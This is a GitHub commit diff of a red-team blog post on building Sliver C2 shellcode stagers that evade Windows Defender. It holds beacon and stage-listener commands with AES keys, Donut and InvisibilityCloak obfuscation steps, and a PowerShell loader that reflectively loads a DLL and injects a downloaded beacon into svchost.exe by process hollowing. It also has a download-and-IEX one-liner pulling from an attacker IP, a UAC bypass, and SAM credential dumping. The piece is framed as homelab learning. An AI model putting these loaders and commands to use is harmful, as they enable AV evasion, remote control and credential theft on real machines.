Skip to content

Commit b4ec835

Browse files
committed
Updated Sliver Post
1 parent d9d1992 commit b4ec835

7 files changed

Lines changed: 77 additions & 18 deletions

File tree

35.5 KB
Loading
803 KB
Loading
72.4 KB
Loading
90.3 KB
Loading
150 KB
Loading
585 KB
Loading

blog/sliver-evasion.md

Lines changed: 77 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -10,25 +10,25 @@ categories: ['Maldev', 'Windows', 'Homelab']
1010

1111
# Sliver C2
1212

13-
My recent exploration into C2 frameworks led me to BishopFox's [Sliver](https://github.com/BishopFox/sliver). While its capabilities are impressive, I quickly encountered a common challenge: Windows Defender's swift detection of beacon payloads on my Windows VM. In order to enhance my evasion skills, this post details my process in leveraging [DInvoke](https://github.com/Kara-4search/DInvoke_shellcodeload_CSharp/tree/main) and [FilelessPELoader](https://github.com/SaadAhla/FilelessPELoader) for building my own Sliver stager, complemented by practical obfuscation strategies.
13+
My recent exploration into C2 frameworks led me to BishopFox's [Sliver](https://github.com/BishopFox/sliver) project. While its capabilities are impressive, I quickly encountered a common challenge: Windows Defender's swift detection of beacon payloads on my Windows VM. In order to enhance my red teaming skills, I decided to dig into leveraging [DInvoke](https://github.com/Kara-4search/DInvoke_shellcodeload_CSharp/tree/main), [FilelessPELoader](https://github.com/SaadAhla/FilelessPELoader) and several evasion techniques for building my own Sliver shellcode loader.
1414

15-
## Shellcode Loader
16-
A shellcode loader is a small piece of executable code designed to load and execute a larger payload (the actual shellcode) into a target process's memory. Think of it as the initial delivery mechanism. Shellcode loaders are crucial for techniques like process injection, allowing attackers to run arbitrary code within a legitimate process, often bypassing traditional security controls that focus on executable files on disk.
15+
## What is a shellcode loader?
16+
A shellcode loader is a small piece of executable code designed to, as its name would suggest, load and execute shellcode (being a larger payload) into a target process's memory. Think of it as the initial delivery mechanism. Shellcode loaders are often go along with techniques like process injection, allowing attackers to run arbitrary code within a legitimate process, that bypass traditional security controls focused on executable files on disk.
1717

18-
This loader will act as a **stage 1** payload (stager). Its primary purpose is to establish communication with a command and control (C2) server and download the larger, more feature-rich **stage 2** payload. The stage 2 payload is the main malicious code that we as an attacker intend to execute on the target system, which in our case is a Sliver beacon.
18+
The loader will act as a **Stage 1** payload (a.k.a. stagers). Its primary purpose is to establish communication with a command and control (C2) or payload server and download the larger, more feature-rich **Stage 2** payload. The second stage payload is the main malicious code that we as an attacker intend to execute on the target system. For this blog post our final payload will be a Sliver beacon.
1919

2020
The goal is to create a stager with the following properties:
21-
1. Natively supported by Windows.
22-
2. Bypass common defenses found on modern operating systems.
23-
3. Use commonly whitelisted protocols in order to bypass firewall rules and fit in with normal traffic.
21+
1. Natively supported by Windows without too much dependencies.
22+
2. Bypass common defenses found on modern operating systems (e.g. signature checks).
23+
3. Use commonly whitelisted protocols in order to bypass firewall rules and fit in with normal traffic (e.g. web traffic).
2424

2525
## Sliver Setup
2626

27-
!!!info Note
27+
!!!info
2828
For more information on installing and using Sliver, see the [official wiki](https://sliver.sh/docs?name=Linux+Install+Script).
2929
!!!
3030

31-
From Sliver v1.5 you can make extensive customizations to the HTTP C2 traffic generated by the server and implant by modifying the HTTP C2 configuration file, which by default is located at `~/.sliver/configs/http-c2.json`. To be able to blend in more with normal traffic, we can make modifications to this file.
31+
From Sliver v1.5 you can make extensive customizations to the HTTP C2 traffic generated by the server and implant by modifying the HTTP C2 configuration file, which by default is located at `~/.sliver/configs/http-c2.json`. To be able to blend in more with normal traffic, I made some minor modifications to this file.
3232

3333
Next, we can generate our HTTPS beacon shellcode with basic obfuscation features enabled.
3434

@@ -43,9 +43,9 @@ $ sudo ./sliver-server_linux
4343
[*] Implant saved to /tmp/rev.bin
4444
```
4545

46-
This command will save the shellcode for our Sliver beacon in `/tmp/rev.bin`. If you don't want to generate the shellcode within Sliver, we can also generate an executable directly and use an mTLS listener.
46+
This command will save the shellcode for our Sliver beacon in `/tmp/rev.bin`. If you don't want to generate the shellcode within Sliver, we can also generate an executable (default) and use an mTLS listener.
4747

48-
![Generating a Sliver beacon and listener](/assets/images/maldev/sliver-setup.png)
48+
![Generating a Sliver beacon and listener](/assets/images/maldev/sliver-setup1.png)
4949

5050
In order to better evade detection, we can convert the executable to a `.bin` file with [Donut](https://github.com/TheWover/donut). Donut is a tool focused on creating binary shellcodes that can be executed in memory. Its primary strength lies in its ability to convert executables (.exe), dynamic-link libraries (.dll), .NET assemblies, VBScript, and JScript into shellcode. This shellcode can then be injected into a running process, allowing for fileless execution of malicious payloads. I'll use Donut with the `-b 1` flag to not add AMSI bypass and the `-e 3` flag for encryption.
5151

@@ -56,19 +56,17 @@ $ ./donut -b 1 -e 3 -o rev.bin -i /tmp/ESSENTIAL_THEATER.exe
5656
[ Copyright (c) 2019-2021 TheWover, Odzhan
5757

5858
[ Instance type : Embedded
59-
[ Module file : "/tmp/ESSENTIAL_THEATER.exe"
59+
[ Module file : "/tmp/SHORT_JODHPURS.exe"
6060
[ Entropy : Random names + Encryption
6161
[ File type : EXE
6262
[ Target CPU : x86+amd64
6363
[ AMSI/WDLP/ETW : none
6464
[ PE Headers : overwrite
65-
[ Shellcode : "rev.bin"
65+
[ Shellcode : "/tmp/rev.bin"
6666
[ Exit : Thread
67-
68-
$ cp rev.bin /tmp/rev.bin
6967
```
7068

71-
The idea is that our stager will grab this binary file and execute it in memory. We can use an existing PE Loader to perform Process Injection into a target process by downloading/invoking remotely hosted shellcode. However, as a learning experience I wanted to create my own loaders.
69+
The idea is that our final stager will grab this binary shellcode file and execute it in memory. There are plenty of existing PE loaders to perform Process Injection into a target process. However, as a learning experience I wanted to create my own loaders.
7270

7371
## Method 1: DInvoke Stager (.NET)
7472
Lately, we've seen a growing trend where security tools are being developed in C# or adapted from PowerShell scripts. An advantage of C# is its capability to directly interact with the Windows operating system's core functions, known as the Win32 API. This low-level interaction is similar to what's possible with C or C++ programs.
@@ -137,7 +135,7 @@ We can now compile the project to x64 architecture in release mode by going to `
137135
### AV Check
138136
With our loader ready, we can verify if our file is not getting detected as malicious by running [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) or [DefenderCheck](https://github.com/matterpreter/DefenderCheck).
139137

140-
```console
138+
```powershell
141139
C:\Tools> DefenderCheck.exe s3rp3ntLoader.exe
142140
Target file size: 8192 bytes
143141
Analyzing...
@@ -175,6 +173,56 @@ aes.py cipher.bin key.bin ESSENTIAL_THEATER.exe
175173

176174
The generated files `cipher.bin` and `key.bin` can be passed to our loader as arguments. In the next section we will have a look at how we can make use of our loaders.
177175

176+
## Method 3: Custom Encrypted Stager
177+
Sliver has built-in support for custom stagers making use of encryption and compression when serving stages. First we need to setup our profile, listener, and stage listener with the following command:
178+
179+
```console
180+
$ sudo ./sliver-server_linux
181+
[server] sliver > profiles new -b https://192.168.129.40:443 --skip-symbols --format shellcode --arch amd64 s3rp3nt
182+
[server] sliver > https -L 192.168.129.40 -l 443
183+
[server] sliver > stage-listener --url https://192.168.129.40:8443 --profile s3rp3nt -C deflate9 --aes-encrypt-key D(G+KbPeShVmYq3t --aes-encrypt-iv 8y/B?E(G+KbPeShV
184+
```
185+
186+
![Sliver Stager Setup](/assets/images/maldev/sliver-stager-setup.png)
187+
188+
By making some modifications to their [Encrypted Stage Example](https://sliver.sh/docs?name=Stagers) code, we can add additional functionality to inject our shellcode into a running process by using a techniques called **Process Hollowing**.
189+
190+
!!!info
191+
Process hollowing is a technique to execute code under the guise of a legitimate process. It works by creating a new process in a suspended state, typically a benign system executable like `svchost.exe`, and then unmapping or "hollowing out" its original memory. We can then inject our own malicious code into this memory space and resume the process, making it appear as though the legitimate process is running.
192+
!!!
193+
194+
Just as before, we can use InvisibilityCloak on the project from [Cyb3rDudu](https://github.com/Cyb3rDudu/SliverLoader/tree/main). This project makes use of the Sliver encrypted stager incorporating AMSI bypass, process injection, hollowing and much more. We can compile the project in `Release Mode` and convert the DLL to raw bytes.
195+
196+
```powershell
197+
PS C:\Tools\Python\InvisibilityCloak> python InvisibilityCloak.py -d C:\Tools\SliverLoder-main\SliverLoader -n 'serpent' -m reverse
198+
PS C:\Tools\SliverLoder-main\serpent\bin\Release> get-content -encoding byte -path .\serpent.dll | clip
199+
```
200+
201+
Convert the raw bytes to Base64 with a [CyberChef recipe](https://gchq.github.io/CyberChef/#recipe=From_Decimal('Line%20feed',false)To_Base64('A-Za-z0-9%2B/%3D')).
202+
203+
![SliverLoader Base64 Recipe](/assets/images/maldev/loader-base64.png)
204+
205+
Next convert the AESKey and AESIV to hex using another [CyberChef recipe](https://cyberchef.io/#recipe=To_Hex('0x%20with%20comma',0)).
206+
207+
![SliverLoader AESkey Recipe](/assets/images/maldev/loader-aeskey-recipe.png)
208+
209+
Copy the Base64 data and paste it into a PowerShell script.
210+
211+
```powershell
212+
$encodeStr = "TVqQAAMAAAAEAAAA...<SNIP>"
213+
214+
[System.Reflection.Assembly]::Load([System.Convert]::FromBase64String($encodeStr))
215+
$url = "https://192.168.129.40:8443/test.woff"
216+
$TargetBinary = "svchost.exe"
217+
[byte[]]$AESKey = 0x44,0x28,0x47,0x2b,0x4b,0x62,0x50,0x65,0x53,0x68,0x56,0x6d,0x59,0x71,0x33,0x74
218+
[byte[]]$AESIV = 0x38,0x79,0x2f,0x42,0x3f,0x45,0x28,0x47,0x2b,0x4b,0x62,0x50,0x65,0x53,0x68,0x56
219+
220+
$CompressionAlgorithm = "deflate9"
221+
[serpent.Loader]::DownloadAndExecute($url,$TargetBinary,$CompressionAlgorithm,$AESKey,$AESIV)
222+
```
223+
224+
This script is a PowerShell loader that is hosted on our server, intented to be downloaded and executed once an attacker gains code execution. The script will load the stager into memory via reflection and performs the `DownloadAndExecute` operation of the agent from the staging server.
225+
178226
## Sliver in Action
179227
Moving to our attack machine, we run our Python HTTP server where our shellcode is located.
180228

@@ -207,6 +255,17 @@ PS C:\> .\FilelessPELoader.exe 192.168.129.40 8080 cipher.bin key.bin
207255

208256
![Sliver FilelessPELoader](/assets/images/maldev/sliver-FilelessPELoader.png)
209257

258+
### Encrypted Stager Execution
259+
Our PowerShell loader can be hosted on a webserver as a normal file. On the victim, the following command executes the download and staging of the agent which will result in an incoming session in sliver.
260+
261+
```powershell
262+
PS C:\> (New-Object System.Net.WebClient).DownloadString('http://192.168.129.40/README.md') | IEX
263+
```
264+
265+
In a minute we should get a session in Sliver with Defender stopping us.
266+
267+
![Sliver Session](/assets/images/maldev/sliver-session.png)
268+
210269
### Privilege Escalation
211270
Since we now have an active beacon on our target, we can even go a step further and escalate privileges on the host.
212271
Use one of the beacons and run `sa-whoami` (installed via armory). This will run a `whoami /all` in a more safe way.
@@ -268,7 +327,7 @@ The above UAC Bypass creates an elevated `ICMLuaUtil COM` object and calls its S
268327
This will launch another beacon process running as Administrator. With these privileges we can try to dump all credentials from LSASS. To stay stealthy, let's use [SharpSAMDump](https://github.com/jojonas/SharpSAMDump).
269328

270329
```console
271-
[server] sliver (ESSENTIAL_THEATER) > execute-assembly -P 7048 -p 'C:\Windows\System32\taskhostw.exe' -t 80 -i /home/s3rp3nt/Tools/Windows/SharpSAMDump.exe
330+
[server] sliver (ESSENTIAL_THEATER) > execute-assembly -i /home/s3rp3nt/Tools/Windows/SharpSAMDump.exe
272331

273332
[*] Tasked beacon ESSENTIAL_THEATER (c4af87ff)
274333

0 commit comments

Comments
 (0)